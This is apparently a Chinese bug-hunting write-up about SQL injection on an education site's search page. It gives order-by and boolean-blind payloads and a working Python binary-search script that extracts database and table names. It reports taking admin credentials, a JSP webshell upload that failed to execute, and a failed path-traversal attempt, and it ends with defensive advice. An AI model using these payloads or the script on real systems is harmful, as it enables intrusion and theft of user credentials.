记一次曲折的edu挖洞
字数 1195 2025-08-05 12:50:26
记一次曲折的edu挖洞技术分析报告
漏洞发现过程
初始SQL注入发现
- 在测试某教育网站搜索功能时发现SQL注入漏洞
- 初步测试:
url/search.jsp?key=12'→ 返回500错误url/search.jsp?key=12'--+→ 返回正常,确认存在SQL注入
注入类型确认
-
使用
order by确定列数:url/search.jsp?key=12'order by 18--+→ 正常url/search.jsp?key=12'order by 19--+→ 500错误- 确认表有18列
-
联合查询尝试失败:
url/search.jsp?key=-12'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+→ 500错误
布尔盲注确认
-
基本布尔测试:
url/search.jsp?key=12'or 1=0--+与url/search.jsp?key=12'or 1=1--+返回不同内容- 确认存在布尔盲注
-
SQLmap自动化测试失败,需手动构造脚本
布尔盲注技术实现
脚本编写挑战
- 发现当
or后条件为真时脚本访问会报错,为假时正常 - 需要特殊处理异常情况
最终脚本实现
import requests
url = "url/search.jsp"
def main():
result = ""
for i in range(1, 200):
low = 32
high = 128
while low < high:
mid = int((low + high) / 2)
# content = "select database()" #school_lvdi
content = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
sql = f"?key=12'or ascii(substr(({content}),{i},1))<{mid}--+"
try:
requests.get(url=url+sql)
low = mid + 1
except:
try:
requests.get(url=url + sql)
low = mid + 1
except:
high = mid
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 32:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low - 1) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
脚本特点
- 使用二分法提高效率
- 双重try-except结构增强可靠性
- 可灵活修改content变量获取不同数据
数据获取结果
- 获取数据库名:
school_lvdi(长度11) - 获取表信息:
sys_user表包含ACCOUNT和PASSWORD列 - 成功获取后台管理员凭证
后台渗透尝试
文件上传测试
- 发现可上传JSP木马
- 上传成功但无法解析
文件包含测试
- 图片访问路径格式:
url/school/Image-getImage.action?imageName=f3f86c90-bc38-4578-8853-58c853805a69.png - 尝试目录穿越读取源码失败:
url/school/Image-getImage.action?imageName=../../../../index.jsp
技术总结与经验
教育网站渗透要点
- 重点关注搜索功能,易存在SQL注入
- 黑盒测试需考虑:
- SQL语句结构推测
- 数据库类型判断
- 过滤规则分析
特殊注入场景处理
- 当标准注入技术失效时,需观察特殊响应模式
- 异常处理在自动化脚本中的重要性
- 布尔盲注的可靠判断方法
后续渗透思路
- 尝试其他方式利用获取的凭证
- 检查其他功能点是否存在漏洞
- 验证文件包含漏洞的其他利用方式
防御建议
针对SQL注入
- 使用参数化查询
- 实施严格的输入过滤
- 错误信息处理规范化
针对文件上传
- 限制上传文件类型
- 随机化存储文件名
- 禁用脚本文件执行
针对文件包含
- 限制文件访问路径
- 验证文件名合法性
- 禁用目录遍历功能